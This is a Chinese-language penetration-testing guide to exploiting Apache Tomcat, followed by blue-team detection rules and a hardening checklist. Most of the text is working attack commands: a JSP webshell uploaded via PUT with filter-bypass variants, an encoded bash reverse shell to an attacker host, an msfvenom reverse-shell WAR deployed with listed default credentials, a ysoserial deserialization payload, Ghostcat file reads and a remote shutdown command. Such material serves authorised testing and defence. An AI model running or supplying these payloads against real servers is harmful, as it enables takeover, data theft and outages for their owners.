Apache Tomcat Manager / PUT 方法 / 反序列化 RCE 利用技术

0x00 攻击面总览

Apache Tomcat 是最流行的 Java Web 容器,暴露多个高危攻击面:

组件默认端口协议攻击面
HTTP8080HTTPWeb 应用服务
HTTPS8443HTTPS加密 Web 服务
Manager App8080/managerHTTPWAR 部署、应用管理
Host Manager8080/host-managerHTTP虚拟主机管理
AJP8009TCPApache JServ Protocol
Shutdown Port8005TCP远程关闭(如启用)

核心威胁模型

┌───────────────────────────────────────────────────────────────┐
│                    Apache Tomcat 攻击面                         │
│                                                               │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐    │
│  │ HTTP :8080   │    │ Manager      │    │ AJP :8009    │    │
│  │ Web 应用     │    │ /manager/html│    │ JServ 协议    │    │
│  │ PUT 方法RCE  │    │ WAR 部署     │    │ 文件包含      │    │
│  └──────┬───────┘    └──────┬───────┘    └──────┬───────┘    │
│         │                   │                    │            │
│  ┌──────┴───────────────────┴────────────────────┴─────────┐ │
│  │              Tomcat 进程 (JVM)                            │ │
│  │                                                          │ │
│  │  攻击路径:                                               │ │
│  │  ① PUT 方法 → JSP 上传 → RCE (CVE-2017-12615/12617)      │ │
│  │  ② Manager 后台 → 弱凭据 → WAR 部署 → RCE                │ │
│  │  ③ FileStore 反序列化 → RCE (CVE-2020-9484)               │ │
│  │  ④ AJP 协议 → 文件包含 → 敏感文件读取                     │ │
│  │  ⑤ Shutdown Port → 远程关闭                               │ │
│  └──────────────────────────────────────────────────────────┘ │
│                                                               │
│  默认风险:                                                    │
│  • Manager 后台可能使用默认/弱凭据                              │
│  • readonly=false 允许 PUT 方法上传                            │
│  • FileStore Session 持久化可能启用                             │
│  • AJP 端口默认开放                                            │
└───────────────────────────────────────────────────────────────┘

0x01 服务识别与指纹

1.1 Nmap 服务发现

nmap -sV -p 8005,8009,8080,8443 \
  --script=http-title,http-enum \
  -oN tomcat_scan.txt <target>

典型扫描结果

PORT     STATE SERVICE     VERSION
8005/tcp open  tcp         Apache Tomcat/Coyote JSP Engine (Shutdown Port)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat/Coyote JSP Engine
8443/tcp open  ssl/http    Apache Tomcat/Coyote JSP Engine

1.2 版本指纹

# 获取 Tomcat 版本
curl -s "http://target:8080/" | grep -i "tomcat"

# Manager 后台
curl -s "http://target:8080/manager/html" -u admin:admin

# AJP 协议探测
echo -ne "\x12\x34\x00\x01\x00" | nc -w3 target 8009 | xxd

1.3 Shodan / FOFA 搜索语法

# Shodan
http.html:"Apache Tomcat"
port:8080 http.title:"Apache Tomcat"

# FOFA
body="Apache Tomcat" && port="8080"
app="Apache-Tomcat"

0x02 CVE-2017-12615 / CVE-2017-12617 — PUT 方法 RCE

2.1 漏洞概述

属性详情
影响版本Tomcat 7.0.0 - 7.0.79 (Windows), 7.0.0 - 7.0.81 (全平台)
CVSS9.8(Critical)
类型任意文件上传
攻击向量HTTP PUT 方法
根因DefaultServlet readonly=false 允许 JSP 上传

2.2 漏洞利用

# 步骤 1:检查 PUT 方法是否可用
curl -s -X OPTIONS "http://target:8080/" -D -

# 如果响应包含 Allow: PUT,则可利用

# 步骤 2:上传 JSP WebShell
curl -s -X PUT "http://target:8080/shell.jsp/" \
  -d '<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

# Windows 使用尾部 / 绕过
# Linux 直接使用
curl -s -X PUT "http://target:8080/shell.jsp" \
  -d '<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

2.3 绕过技巧

# Windows 尾部斜杠
curl -X PUT "http://target:8080/shell.jsp/" -d "webshell"

# URL 编码
curl -X PUT "http://target:8080/shell%2ejsp" -d "webshell"

# 分号截断
curl -X PUT "http://target:8080/shell.jsp;.png" -d "webshell"

# NTFS ADS(Windows)
curl -X PUT "http://target:8080/shell.jsp:hidden" -d "webshell"

2.4 验证执行

# 访问 WebShell
curl "http://target:8080/shell.jsp?cmd=id"

# 反弹 Shell
curl "http://target:8080/shell.jsp?cmd=bash+-c+{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"

0x03 Manager 后台 — WAR 部署 RCE

3.1 默认凭据

# 常见默认凭据
# admin:admin
# tomcat:tomcat
# admin:password
# admin:123456
# manager:manager

# 尝试登录
curl -s "http://target:8080/manager/html" -u admin:admin -D - | grep -i "200"

3.2 WAR 部署

# 步骤 1:生成恶意 WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f war -o shell.war

# 步骤 2:通过 Manager API 部署
curl -s -u admin:admin -X PUT \
  "http://target:8080/manager/text/deploy?path=/shell&update=true" \
  -T shell.war

# 步骤 3:触发执行
curl "http://target:8080/shell/"

3.3 通过 REST API 管理

# 列出已部署应用
curl -s -u admin:admin "http://target:8080/manager/text/list"

# 重新加载应用
curl -s -u admin:admin "http://target:8080/manager/text/reload?path=/myapp"

# 停止应用
curl -s -u admin:admin "http://target:8080/manager/text/stop?path=/myapp"

# 启动应用
curl -s -u admin:admin "http://target:8080/manager/text/start?path=/myapp"

# 删除应用
curl -s -u admin:admin -X PUT "http://target:8080/manager/text/undeploy?path=/myapp"

0x04 CVE-2020-9484 — FileStore 反序列化 RCE

4.1 漏洞概述

属性详情
影响版本Tomcat 10.0.0-M1 - 10.0.0-M4, 9.0.0.M1 - 9.0.34, 8.5.0 - 8.5.54, 7.0.0 - 7.0.103
CVSS7.5(High)
类型反序列化 RCE
攻击向量FileStore Session 持久化
根因ObjectInputStream 反序列化 .session 文件未做白名单限制

4.2 漏洞利用

# 步骤 1:生成反序列化 payload
ysoserial CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin

# 步骤 2:上传 payload 到 Session 存储目录
# 需要知道 FileStore 的 directory 配置
curl -s -X PUT "http://target:8080/uploads/payload.session" --data-binary @payload.bin

# 步骤 3:触发反序列化
# 通过请求带有特定 Session ID 的页面触发
curl "http://target:8080/" -b "JSESSIONID=payload"

4.3 前提条件

  • FileStore Session 持久化已启用
  • 攻击者可以写入 .session 文件到 FileStore 目录
  • 目标 classpath 中存在可利用的 Gadget 链

0x05 AJP 协议攻击

5.1 Ghostcat (CVE-2020-1938) — 文件包含

属性详情
影响版本Tomcat 6.x, 7.x, 8.x, 9.x
CVSS9.8(Critical)
类型任意文件读取 / RCE
攻击向量AJP 协议 (8009)
根因AJP 协议允许攻击者指定包含文件属性

5.2 文件读取

# 使用 AJP 工具读取文件
python3 ajp_shooter.py --url http://target:8009 --file /WEB-INF/web.xml --read

# 读取敏感配置
python3 ajp_shooter.py --url http://target:8009 --file /WEB-INF/classes/db.properties --read

5.3 RCE(配合文件上传)

# 如果存在文件上传功能
# 步骤 1:上传图片马
# 步骤 2:通过 AJP 包含图片马作为 JSP 执行
python3 ajp_shooter.py --url http://target:8009 --file /uploads/image.jpg --include

0x06 Shutdown Port 攻击

6.1 远程关闭

# 如果 Shutdown Port (8005) 启用
# 发送 SHUTDOWN 命令
echo "SHUTDOWN" | nc target 8005

# Tomcat 将优雅关闭

0x07 历史 CVE 漏洞矩阵

CVE类型CVSS影响
CVE-2017-12615文件上传 RCE9.8PUT 方法 JSP 上传
CVE-2017-12617文件上传 RCE9.8PUT 方法 JSP 上传(全平台)
CVE-2020-9484反序列化 RCE7.5FileStore Session 反序列化
CVE-2020-1938文件包含/RCE9.8AJP Ghostcat
CVE-2019-0232RCE10.0CGI Servlet RCE (Windows)
CVE-2020-11996DoS7.5HTTP/2 DoS

0x08 蓝队检测方案

8.1 网络层检测

title: Tomcat Manager 外部访问检测
id: tomcat-manager-external-access
status: experimental
description: 检测来自非内网段的 Tomcat Manager 访问
logsource:
  category: firewall
detection:
  selection:
    uri|contains:
      - "/manager/"
      - "/host-manager/"
    src_ip|not:
      - "10.0.0.0/8"
      - "172.16.0.0/12"
      - "192.168.0.0/16"
  condition: selection
level: critical

8.2 PUT 方法检测

title: Tomcat PUT 方法 JSP 上传检测
id: tomcat-put-jsp-upload
status: experimental
description: 检测通过 PUT 方法上传 JSP 文件的攻击
logsource:
  product: tomcat
  service: access
detection:
  selection:
    method: "PUT"
    uri|endswith:
      - ".jsp"
      - ".jsp/"
      - ".jspx"
  condition: selection
level: critical

8.3 审计日志分析

# 监控 Manager 登录
grep "/manager/" /opt/tomcat/logs/localhost_access_log.txt

# 检测 PUT 方法
grep "PUT" /opt/tomcat/logs/localhost_access_log.txt

# 检测 WAR 部署
grep -E "(deploy|undeploy)" /opt/tomcat/logs/catalina.out

# 检测 AJP 异常
grep "ajp" /opt/tomcat/logs/catalina.out

# 检测反序列化异常
grep -i "deserializ\|ObjectInputStream" /opt/tomcat/logs/catalina.out

8.4 加固清单

[ ] 升级至最新 Tomcat 版本修补所有已知 CVE
[ ] 禁用 PUT 方法:在 web.xml 中设置 readonly=true
[ ] 禁用 AJP 连接器(如不需要):注释 server.xml 中的 AJP Connector
[ ] 修改 Manager 后台默认凭据为强密码
[ ] 限制 Manager 后台仅允许内网 IP 访问
[ ] 禁用 Shutdown Port(如不需要)
[ ] 禁用 FileStore Session 持久化(如不需要)
[ ] 配置反序列化白名单
[ ] 在前面放置反向代理并启用认证
[ ] 启用 HTTPS 并配置 TLS 证书
[ ] 隐藏 Tomcat 版本信息:server="Apache"
[ ] 启用审计日志并接入 SIEM
[ ] 监控 PUT 方法和 Manager 访问
[ ] 定期审查 tomcat-users.xml 配置
[ ] 使用 Security Manager 限制应用权限

0x09 渗透测试检查清单

[ ] 端口扫描:8005, 8009, 8080, 8443
[ ] Tomcat 版本检测
[ ] Manager 后台未授权访问测试(默认凭据)
[ ] PUT 方法可用性测试(OPTIONS)
[ ] CVE-2017-12615/12617 PUT 方法 JSP 上传测试
[ ] Manager WAR 部署测试
[ ] CVE-2020-9484 FileStore 反序列化测试
[ ] CVE-2020-1938 AJP Ghostcat 文件包含测试
[ ] Shutdown Port 远程关闭测试
[ ] AJP 端口开放状态检查
[ ] 认证配置检查
[ ] TLS/SSL 配置检查
[ ] readonly 配置检查
[ ] 审计日志检查

0x10 小结

Apache Tomcat 的攻击面以 Manager 后台PUT 方法 为核心。CVE-2017-12615/12617 通过 PUT 方法上传 JSP WebShell 实现 RCE(CVSS 9.8)。Manager 后台弱凭据允许攻击者部署恶意 WAR 实现 RCE。CVE-2020-9484 通过 FileStore Session 反序列化实现 RCE。CVE-2020-1938 (Ghostcat) 通过 AJP 协议实现任意文件读取或 RCE(CVSS 9.8)。蓝队应重点关注:升级至最新版本、禁用 PUT 方法和 AJP 连接器、修改 Manager 凭据、限制网络访问、将审计日志接入 SIEM。